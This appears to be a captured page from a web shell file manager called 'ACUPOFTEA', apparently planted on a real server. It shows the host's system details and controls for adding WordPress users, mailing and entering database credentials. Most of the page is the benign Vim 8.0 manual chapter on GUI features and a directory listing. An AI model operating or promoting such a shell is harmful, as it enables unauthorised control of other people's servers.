System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
vim
/
vim80
/
doc
/
216.73.216.5
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
usr_31.txt
*usr_31.txt* For Vim version 8.0. Last change: 2007 May 08 VIM USER MANUAL - by Bram Moolenaar Exploiting the GUI Vim works well in a terminal, but the GUI has a few extra items. A file browser can be used for commands that use a file. A dialog to make a choice between alternatives. Use keyboard shortcuts to access menu items quickly. |31.1| The file browser |31.2| Confirmation |31.3| Menu shortcuts |31.4| Vim window position and size |31.5| Various Next chapter: |usr_32.txt| The undo tree Previous chapter: |usr_30.txt| Editing programs Table of contents: |usr_toc.txt| ============================================================================== *31.1* The file browser When using the File/Open... menu you get a file browser. This makes it easier to find the file you want to edit. But what if you want to split a window to edit another file? There is no menu entry for this. You could first use Window/Split and then File/Open..., but that's more work. Since you are typing most commands in Vim, opening the file browser with a typed command is possible as well. To make the split command use the file browser, prepend "browse": > :browse split Select a file and then the ":split" command will be executed with it. If you cancel the file dialog nothing happens, the window isn't split. You can also specify a file name argument. This is used to tell the file browser where to start. Example: > :browse split /etc The file browser will pop up, starting in the directory "/etc". The ":browse" command can be prepended to just about any command that opens a file. If no directory is specified, Vim will decide where to start the file browser. By default it uses the same directory as the last time. Thus when you used ":browse split" and selected a file in "/usr/local/share", the next time you use a ":browse" it will start in "/usr/local/share" again. This can be changed with the 'browsedir' option. It can have one of three values: last Use the last directory browsed (default) buffer Use the same directory as the current buffer current use the current directory For example, when you are in the directory "/usr", editing the file "/usr/local/share/readme", then the command: > :set browsedir=buffer :browse edit Will start the browser in "/usr/local/share". Alternatively: > :set browsedir=current :browse edit Will start the browser in "/usr". Note: To avoid using the mouse, most file browsers offer using key presses to navigate. Since this is different for every system, it is not explained here. Vim uses a standard browser when possible, your system documentation should contain an explanation on the keyboard shortcuts somewhere. When you are not using the GUI version, you could use the file explorer window to select files like in a file browser. However, this doesn't work for the ":browse" command. See |netrw-browse|. ============================================================================== *31.2* Confirmation Vim protects you from accidentally overwriting a file and other ways to lose changes. If you do something that might be a bad thing to do, Vim produces an error message and suggests appending ! if you really want to do it. To avoid retyping the command with the !, you can make Vim give you a dialog. You can then press "OK" or "Cancel" to tell Vim what you want. For example, you are editing a file and made changes to it. You start editing another file with: > :confirm edit foo.txt Vim will pop up a dialog that looks something like this: +-----------------------------------+ | | | ? Save changes to "bar.txt"? | | | | YES NO CANCEL | +-----------------------------------+ Now make your choice. If you do want to save the changes, select "YES". If you want to lose the changes for ever: "NO". If you forgot what you were doing and want to check what really changed use "CANCEL". You will be back in the same file, with the changes still there. Just like ":browse", the ":confirm" command can be prepended to most commands that edit another file. They can also be combined: > :confirm browse edit This will produce a dialog when the current buffer was changed. Then it will pop up a file browser to select the file to edit. Note: In the dialog you can use the keyboard to select the choice. Typically the <Tab> key and the cursor keys change the choice. Pressing <Enter> selects the choice. This depends on the system though. When you are not using the GUI, the ":confirm" command works as well. Instead of popping up a dialog, Vim will print the message at the bottom of the Vim window and ask you to press a key to make a choice. > :confirm edit main.c < Save changes to "Untitled"? ~ [Y]es, (N)o, (C)ancel: ~ You can now press the single key for the choice. You don't have to press <Enter>, unlike other typing on the command line. ============================================================================== *31.3* Menu shortcuts The keyboard is used for all Vim commands. The menus provide a simple way to select commands, without knowing what they are called. But you have to move your hand from the keyboard and grab the mouse. Menus can often be selected with keys as well. This depends on your system, but most often it works this way. Use the <Alt> key in combination with the underlined letter of a menu. For example, <A-w> (<Alt> and w) pops up the Window menu. In the Window menu, the "split" item has the p underlined. To select it, let go of the <Alt> key and press p. After the first selection of a menu with the <Alt> key, you can use the cursor keys to move through the menus. <Right> selects a submenu and <left> closes it. <Esc> also closes a menu. <Enter> selects a menu item. There is a conflict between using the <Alt> key to select menu items, and using <Alt> key combinations for mappings. The 'winaltkeys' option tells Vim what it should do with the <Alt> key. The default value "menu" is the smart choice: If the key combination is a menu shortcut it can't be mapped. All other keys are available for mapping. The value "no" doesn't use any <Alt> keys for the menus. Thus you must use the mouse for the menus, and all <Alt> keys can be mapped. The value "yes" means that Vim will use any <Alt> keys for the menus. Some <Alt> key combinations may also do other things than selecting a menu. ============================================================================== *31.4* Vim window position and size To see the current Vim window position on the screen use: > :winpos This will only work in the GUI. The output may look like this: Window position: X 272, Y 103 ~ The position is given in screen pixels. Now you can use the numbers to move Vim somewhere else. For example, to move it to the left a hundred pixels: > :winpos 172 103 < Note: There may be a small offset between the reported position and where the window moves. This is because of the border around the window. This is added by the window manager. You can use this command in your startup script to position the window at a specific position. The size of the Vim window is computed in characters. Thus this depends on the size of the font being used. You can see the current size with this command: > :set lines columns To change the size set the 'lines' and/or 'columns' options to a new value: > :set lines=50 :set columns=80 Obtaining the size works in a terminal just like in the GUI. Setting the size is not possible in most terminals. You can start the X-Windows version of gvim with an argument to specify the size and position of the window: > gvim -geometry {width}x{height}+{x_offset}+{y_offset} {width} and {height} are in characters, {x_offset} and {y_offset} are in pixels. Example: > gvim -geometry 80x25+100+300 ============================================================================== *31.5* Various You can use gvim to edit an e-mail message. In your e-mail program you must select gvim to be the editor for messages. When you try that, you will see that it doesn't work: The mail program thinks that editing is finished, while gvim is still running! What happens is that gvim disconnects from the shell it was started in. That is fine when you start gvim in a terminal, so that you can do other work in that terminal. But when you really want to wait for gvim to finish, you must prevent it from disconnecting. The "-f" argument does this: > gvim -f file.txt The "-f" stands for foreground. Now Vim will block the shell it was started in until you finish editing and exit. DELAYED START OF THE GUI On Unix it's possible to first start Vim in a terminal. That's useful if you do various tasks in the same shell. If you are editing a file and decide you want to use the GUI after all, you can start it with: > :gui Vim will open the GUI window and no longer use the terminal. You can continue using the terminal for something else. The "-f" argument is used here to run the GUI in the foreground. You can also use ":gui -f". THE GVIM STARTUP FILE When gvim starts, it reads the gvimrc file. That's similar to the vimrc file used when starting Vim. The gvimrc file can be used for settings and commands that are only to be used when the GUI is going to be started. For example, you can set the 'lines' option to set a different window size: > :set lines=55 You don't want to do this in a terminal, since its size is fixed (except for an xterm that supports resizing). The gvimrc file is searched for in the same locations as the vimrc file. Normally its name is "~/.gvimrc" for Unix and "$VIM/_gvimrc" for MS-Windows. The $MYGVIMRC environment variable is set to it, thus you can use this command to edit the file, if you have one: > :edit $MYGVIMRC < If for some reason you don't want to use the normal gvimrc file, you can specify another one with the "-U" argument: > gvim -U thisrc ... That allows starting gvim for different kinds of editing. You could set another font size, for example. To completely skip reading a gvimrc file: > gvim -U NONE ... ============================================================================== Next chapter: |usr_32.txt| The undo tree Copyright: see |manual-copyright| vim:tw=78:ts=8:ft=help:norl:
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-13 10:57:17
..
DIR
-
drwxr-xr-x
2025-10-13 10:57:17
arabic.txt
text/plain
11.66 KB
-rw-r--r--
2025-10-12 12:23:12
autocmd.txt
text/plain
63.87 KB
-rw-r--r--
2025-10-12 12:23:12
change.txt
text/plain
73.12 KB
-rw-r--r--
2025-10-12 12:23:12
channel.txt
text/plain
30.1 KB
-rw-r--r--
2025-10-12 12:23:12
cmdline.txt
text/plain
46.17 KB
-rw-r--r--
2025-10-12 12:23:12
debug.txt
text/plain
7.01 KB
-rw-r--r--
2025-10-12 12:23:12
debugger.txt
text/plain
5.61 KB
-rw-r--r--
2025-10-12 12:23:12
develop.txt
text/plain
21.82 KB
-rw-r--r--
2025-10-12 12:23:12
diff.txt
text/plain
16.14 KB
-rw-r--r--
2025-10-12 12:23:12
digraph.txt
text/plain
60.67 KB
-rw-r--r--
2025-10-12 12:23:12
editing.txt
text/plain
71.46 KB
-rw-r--r--
2025-10-12 12:23:12
eval.txt
text/plain
434.04 KB
-rw-r--r--
2025-10-12 12:23:12
farsi.txt
text/plain
9.48 KB
-rw-r--r--
2025-10-12 12:23:12
filetype.txt
text/plain
25.33 KB
-rw-r--r--
2025-10-12 12:23:12
fold.txt
text/plain
23.14 KB
-rw-r--r--
2025-10-12 12:23:12
ft_ada.txt
text/plain
17.82 KB
-rw-r--r--
2025-10-12 12:23:12
ft_rust.txt
text/plain
9.3 KB
-rw-r--r--
2025-10-12 12:23:12
ft_sql.txt
text/plain
29.97 KB
-rw-r--r--
2025-10-12 12:23:12
gui.txt
text/plain
44.52 KB
-rw-r--r--
2025-10-12 12:23:12
gui_w32.txt
text/plain
18.47 KB
-rw-r--r--
2025-10-12 12:23:12
gui_x11.txt
text/plain
28.79 KB
-rw-r--r--
2025-10-12 12:23:12
hangulin.txt
text/plain
3.21 KB
-rw-r--r--
2025-10-12 12:23:12
hebrew.txt
text/plain
5.58 KB
-rw-r--r--
2025-10-12 12:23:12
help.txt
text/plain
8.38 KB
-rw-r--r--
2025-10-12 12:23:12
helphelp.txt
text/plain
14 KB
-rw-r--r--
2025-10-12 12:23:12
howto.txt
text/plain
2.84 KB
-rw-r--r--
2025-10-12 12:23:12
if_cscop.txt
text/plain
18.91 KB
-rw-r--r--
2025-10-12 12:23:12
if_lua.txt
text/plain
14.3 KB
-rw-r--r--
2025-10-12 12:23:12
if_mzsch.txt
text/plain
11.55 KB
-rw-r--r--
2025-10-12 12:23:12
if_ole.txt
text/plain
7.23 KB
-rw-r--r--
2025-10-12 12:23:12
if_perl.txt
text/plain
10.89 KB
-rw-r--r--
2025-10-12 12:23:12
if_pyth.txt
text/x-script.python
37.05 KB
-rw-r--r--
2025-10-12 12:23:12
if_ruby.txt
text/x-ruby
7.83 KB
-rw-r--r--
2025-10-12 12:23:12
if_sniff.txt
text/plain
266 B
-rw-r--r--
2025-10-12 12:23:12
if_tcl.txt
text/plain
22.49 KB
-rw-r--r--
2025-10-12 12:23:12
indent.txt
text/plain
38.5 KB
-rw-r--r--
2025-10-12 12:23:12
index.txt
text/plain
74.65 KB
-rw-r--r--
2025-10-12 12:23:12
insert.txt
text/plain
81.21 KB
-rw-r--r--
2025-10-12 12:23:12
intro.txt
text/plain
38.31 KB
-rw-r--r--
2025-10-12 12:23:12
map.txt
text/plain
63.15 KB
-rw-r--r--
2025-10-12 12:23:12
mbyte.txt
text/plain
57.92 KB
-rw-r--r--
2025-10-12 12:23:12
message.txt
text/plain
30.5 KB
-rw-r--r--
2025-10-12 12:23:12
mlang.txt
text/plain
7.67 KB
-rw-r--r--
2025-10-12 12:23:12
motion.txt
text/plain
50.39 KB
-rw-r--r--
2025-10-12 12:23:12
netbeans.txt
text/plain
36.13 KB
-rw-r--r--
2025-10-12 12:23:12
options.txt
text/plain
378.02 KB
-rw-r--r--
2025-10-12 12:23:12
os_390.txt
text/plain
4.64 KB
-rw-r--r--
2025-10-12 12:23:12
os_amiga.txt
text/plain
5.33 KB
-rw-r--r--
2025-10-12 12:23:12
os_beos.txt
text/plain
10.73 KB
-rw-r--r--
2025-10-12 12:23:12
os_dos.txt
text/plain
11.74 KB
-rw-r--r--
2025-10-12 12:23:12
os_mac.txt
text/plain
6.69 KB
-rw-r--r--
2025-10-12 12:23:12
os_mint.txt
text/plain
1.37 KB
-rw-r--r--
2025-10-12 12:23:12
os_msdos.txt
text/plain
518 B
-rw-r--r--
2025-10-12 12:23:12
os_os2.txt
text/plain
294 B
-rw-r--r--
2025-10-12 12:23:12
os_qnx.txt
text/plain
3.98 KB
-rw-r--r--
2025-10-12 12:23:12
os_risc.txt
text/plain
323 B
-rw-r--r--
2025-10-12 12:23:12
os_unix.txt
text/plain
2.53 KB
-rw-r--r--
2025-10-12 12:23:12
os_vms.txt
text/plain
31.35 KB
-rw-r--r--
2025-10-12 12:23:12
os_win32.txt
text/plain
13.04 KB
-rw-r--r--
2025-10-12 12:23:12
pattern.txt
text/plain
57.93 KB
-rw-r--r--
2025-10-12 12:23:12
pi_getscript.txt
text/plain
20.58 KB
-rw-r--r--
2025-10-12 12:23:12
pi_gzip.txt
text/plain
1.29 KB
-rw-r--r--
2025-10-12 12:23:12
pi_logipat.txt
text/plain
4.09 KB
-rw-r--r--
2025-10-12 12:23:12
pi_netrw.txt
text/plain
171.44 KB
-rw-r--r--
2025-10-12 12:23:12
pi_paren.txt
text/plain
2.22 KB
-rw-r--r--
2025-10-12 12:23:12
pi_spec.txt
text/plain
4.03 KB
-rw-r--r--
2025-10-12 12:23:12
pi_tar.txt
text/plain
6.08 KB
-rw-r--r--
2025-10-12 12:23:12
pi_vimball.txt
text/plain
11.58 KB
-rw-r--r--
2025-10-12 12:23:12
pi_zip.txt
text/plain
6.87 KB
-rw-r--r--
2025-10-12 12:23:12
print.txt
text/plain
30.43 KB
-rw-r--r--
2025-10-12 12:23:12
quickfix.txt
text/plain
67.4 KB
-rw-r--r--
2025-10-12 12:23:12
quickref.txt
text/plain
69.59 KB
-rw-r--r--
2025-10-12 12:23:12
quotes.txt
text/plain
12.44 KB
-rw-r--r--
2025-10-12 12:23:12
recover.txt
text/plain
10.44 KB
-rw-r--r--
2025-10-12 12:23:12
remote.txt
text/plain
8.22 KB
-rw-r--r--
2025-10-12 12:23:12
repeat.txt
text/plain
38.65 KB
-rw-r--r--
2025-10-12 12:23:12
rileft.txt
text/plain
4.86 KB
-rw-r--r--
2025-10-12 12:23:12
russian.txt
text/plain
3.02 KB
-rw-r--r--
2025-10-12 12:23:12
scroll.txt
text/plain
13.74 KB
-rw-r--r--
2025-10-12 12:23:12
sign.txt
text/plain
6.73 KB
-rw-r--r--
2025-10-12 12:23:12
spell.txt
text/plain
61.31 KB
-rw-r--r--
2025-10-12 12:23:12
sponsor.txt
text/plain
7.03 KB
-rw-r--r--
2025-10-12 12:23:12
starting.txt
text/plain
71.9 KB
-rw-r--r--
2025-10-12 12:23:12
syntax.txt
text/plain
212.37 KB
-rw-r--r--
2025-10-12 12:23:12
tabpage.txt
text/plain
16.33 KB
-rw-r--r--
2025-10-12 12:23:12
tags
text/plain
320.95 KB
-rw-r--r--
2025-10-12 12:23:12
tagsrch.txt
text/plain
35.78 KB
-rw-r--r--
2025-10-12 12:23:12
term.txt
text/plain
44.35 KB
-rw-r--r--
2025-10-12 12:23:12
terminal.txt
text/plain
32.78 KB
-rw-r--r--
2025-10-12 12:23:12
tips.txt
text/plain
20.07 KB
-rw-r--r--
2025-10-12 12:23:12
todo.txt
text/plain
289.32 KB
-rw-r--r--
2025-10-12 12:23:12
uganda.txt
text/plain
13.7 KB
-rw-r--r--
2025-10-12 12:23:12
undo.txt
text/plain
16.15 KB
-rw-r--r--
2025-10-12 12:23:12
usr_01.txt
text/plain
6.92 KB
-rw-r--r--
2025-10-12 12:23:12
usr_02.txt
text/plain
23.77 KB
-rw-r--r--
2025-10-12 12:23:12
usr_03.txt
text/plain
23.05 KB
-rw-r--r--
2025-10-12 12:23:12
usr_04.txt
text/plain
18.63 KB
-rw-r--r--
2025-10-12 12:23:12
usr_05.txt
text/plain
23.27 KB
-rw-r--r--
2025-10-12 12:23:12
usr_06.txt
text/plain
9.36 KB
-rw-r--r--
2025-10-12 12:23:12
usr_07.txt
text/plain
15.61 KB
-rw-r--r--
2025-10-12 12:23:12
usr_08.txt
text/plain
18.92 KB
-rw-r--r--
2025-10-12 12:23:12
usr_09.txt
text/plain
11.18 KB
-rw-r--r--
2025-10-12 12:23:12
usr_10.txt
text/plain
28.5 KB
-rw-r--r--
2025-10-12 12:23:12
usr_11.txt
text/plain
12.32 KB
-rw-r--r--
2025-10-12 12:23:12
usr_12.txt
text/plain
13.11 KB
-rw-r--r--
2025-10-12 12:23:12
usr_20.txt
text/plain
13.38 KB
-rw-r--r--
2025-10-12 12:23:12
usr_21.txt
text/plain
17.94 KB
-rw-r--r--
2025-10-12 12:23:12
usr_22.txt
text/plain
13.96 KB
-rw-r--r--
2025-10-12 12:23:12
usr_23.txt
text/plain
12.29 KB
-rw-r--r--
2025-10-12 12:23:12
usr_24.txt
text/plain
20.38 KB
-rw-r--r--
2025-10-12 12:23:12
usr_25.txt
text/plain
18.67 KB
-rw-r--r--
2025-10-12 12:23:12
usr_26.txt
text/plain
8.06 KB
-rw-r--r--
2025-10-12 12:23:12
usr_27.txt
text/plain
17.31 KB
-rw-r--r--
2025-10-12 12:23:12
usr_28.txt
text/plain
15.64 KB
-rw-r--r--
2025-10-12 12:23:12
usr_29.txt
text/plain
19.64 KB
-rw-r--r--
2025-10-12 12:23:12
usr_30.txt
text/x-c
22.13 KB
-rw-r--r--
2025-10-12 12:23:12
usr_31.txt
text/plain
10.15 KB
-rw-r--r--
2025-10-12 12:23:12
usr_32.txt
text/plain
5.25 KB
-rw-r--r--
2025-10-12 12:23:12
usr_40.txt
text/plain
22.64 KB
-rw-r--r--
2025-10-12 12:23:12
usr_41.txt
text/plain
87.21 KB
-rw-r--r--
2025-10-12 12:23:12
usr_42.txt
text/plain
13.47 KB
-rw-r--r--
2025-10-12 12:23:12
usr_43.txt
text/plain
7.23 KB
-rw-r--r--
2025-10-12 12:23:12
usr_44.txt
text/plain
28.53 KB
-rw-r--r--
2025-10-12 12:23:12
usr_45.txt
text/plain
17.49 KB
-rw-r--r--
2025-10-12 12:23:12
usr_90.txt
text/plain
17.25 KB
-rw-r--r--
2025-10-12 12:23:12
usr_toc.txt
text/plain
9 KB
-rw-r--r--
2025-10-12 12:23:12
various.txt
text/plain
28.18 KB
-rw-r--r--
2025-10-12 12:23:12
version4.txt
text/plain
13.58 KB
-rw-r--r--
2025-10-12 12:23:12
version5.txt
text/plain
301.31 KB
-rw-r--r--
2025-10-12 12:23:12
version6.txt
text/plain
563.53 KB
-rw-r--r--
2025-10-12 12:23:12
version7.txt
text/plain
658.95 KB
-rw-r--r--
2025-10-12 12:23:12
version8.txt
text/plain
668.21 KB
-rw-r--r--
2025-10-12 12:23:12
vi_diff.txt
text/plain
41.81 KB
-rw-r--r--
2025-10-12 12:23:12
visual.txt
text/plain
21.33 KB
-rw-r--r--
2025-10-12 12:23:12
windows.txt
text/plain
51.79 KB
-rw-r--r--
2025-10-12 12:23:12
workshop.txt
text/plain
4.52 KB
-rw-r--r--
2025-10-12 12:23:12
~ ACUPOFTEA - accounting.gulfstore-gcc.com